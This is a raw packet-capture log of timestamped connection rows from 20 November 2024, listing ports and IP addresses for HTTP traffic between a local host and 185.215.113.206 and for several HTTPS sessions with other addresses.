Nov 20, 2024 23:12:55.192079067 CET	49875	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.192145109 CET	443	49875	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.197499990 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.197520971 CET	443	49876	23.49.251.21	192.168.2.7
Nov 20, 2024 23:12:55.238172054 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.238270044 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.238322973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.238363981 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.238645077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.238696098 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.238708973 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.238734961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.239492893 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.239554882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.239600897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.239635944 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.240331888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.240376949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.240468979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.240526915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.241173029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.241233110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.241276026 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.241314888 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.242017984 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.242140055 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.242188931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.242922068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.242971897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.243031979 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.243071079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.243727922 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.243772984 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.243835926 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.243895054 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.244338989 CET	49875	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.244388103 CET	49876	443	192.168.2.7	23.49.251.21
Nov 20, 2024 23:12:55.244609118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.244661093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.244713068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.244750023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.245456934 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.245505095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.245522022 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.245559931 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.246273041 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.246351957 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.246381998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.246412039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.247117996 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.247176886 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.247209072 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.247452021 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.247946024 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.248003006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.248007059 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.248048067 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.248811960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.248858929 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.248933077 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.248975039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.249731064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.249773026 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.249902010 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.250576019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.250588894 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.250614882 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.250684023 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.250725031 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.251363039 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.251444101 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.251466036 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.251511097 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.252207994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.252311945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.252360106 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.252479076 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.253077030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.253118992 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.253165960 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.253202915 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.253914118 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.253964901 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.254009962 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.254055023 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.254116058 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.254143000 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.254770994 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.254825115 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.254870892 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.255223989 CET	49870	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.255229950 CET	443	49870	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.255642891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.255697966 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.255750895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.255793095 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.256458998 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.256500006 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.256572008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.256609917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.257298946 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.257344961 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.642776012 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.642793894 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.642817974 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.642904997 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.642904997 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.642930984 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.642946959 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.642971992 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.643048048 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643048048 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643048048 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643055916 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.643130064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643142939 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643156052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643162012 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643167019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643177986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643208027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643205881 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643222094 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643233061 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643235922 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.643237114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643254042 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643254995 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643258095 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.643266916 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643280029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643292904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643310070 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643326998 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643326998 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643335104 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643336058 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.643351078 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643362045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643362045 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643369913 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643374920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643390894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643407106 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643440962 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643455029 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643466949 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643476963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643491030 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643498898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643503904 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643515110 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643516064 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643531084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643543005 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643543005 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643568039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643579960 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643585920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643599033 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643609047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643620968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643621922 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643634081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643636942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643646955 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643660069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643688917 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.643795967 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643795967 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.643920898 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.643963099 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644046068 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644057989 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644068003 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644084930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644093990 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644098997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644128084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644170046 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644182920 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644193888 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644205093 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644217014 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644232035 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644252062 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644272089 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644300938 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644329071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644340992 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644351959 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644361973 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.644364119 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644364119 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644376040 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644392967 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.644395113 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644454002 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644455910 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.644455910 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.644459009 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644470930 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.644485950 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644495010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644500017 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644527912 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644540071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644550085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644551039 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644558907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644565105 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644571066 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644581079 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644581079 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.644591093 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644623995 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644624949 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644638062 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644639015 CET	443	49869	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.644660950 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644692898 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644727945 CET	49869	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:55.644803047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644814968 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644836903 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644836903 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.644854069 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.644872904 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645164013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645189047 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645203114 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645209074 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645222902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645226955 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645253897 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645302057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645318031 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645328999 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645353079 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645366907 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645385027 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645397902 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645414114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645425081 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645431042 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645453930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645454884 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645467997 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645478010 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645498037 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645498037 CET	443	49871	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:55.645522118 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.645526886 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645539045 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645550013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645560980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645570040 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645611048 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645653963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645667076 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645684004 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645694971 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645698071 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645708084 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645718098 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645726919 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645740032 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.645755053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645761013 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645766973 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645771980 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645776987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645796061 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645802021 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645807028 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645812988 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645989895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.645992994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646003008 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646015882 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646024942 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646027088 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646039963 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646050930 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646061897 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646068096 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646074057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646085978 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646094084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646096945 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646106958 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646115065 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646126032 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646137953 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646167994 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646728992 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.646795034 CET	443	49868	20.25.227.174	192.168.2.7
Nov 20, 2024 23:12:55.646835089 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646846056 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646857977 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646868944 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646882057 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646892071 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646903038 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646913052 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646924019 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646934986 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646949053 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646960974 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646965027 CET	49868	443	192.168.2.7	20.25.227.174
Nov 20, 2024 23:12:55.646970987 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646980047 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.646982908 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.646994114 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647006989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647006989 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647008896 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647020102 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647031069 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647033930 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647042990 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647054911 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647066116 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647075891 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647077084 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647088051 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647090912 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647100925 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647102118 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647113085 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647125006 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647125959 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647136927 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647149086 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647167921 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647188902 CET	49799	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:55.647533894 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647557020 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647569895 CET	80	49799	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:55.647576094 CET	49799	80	192.168.2.7	185.215.113.206
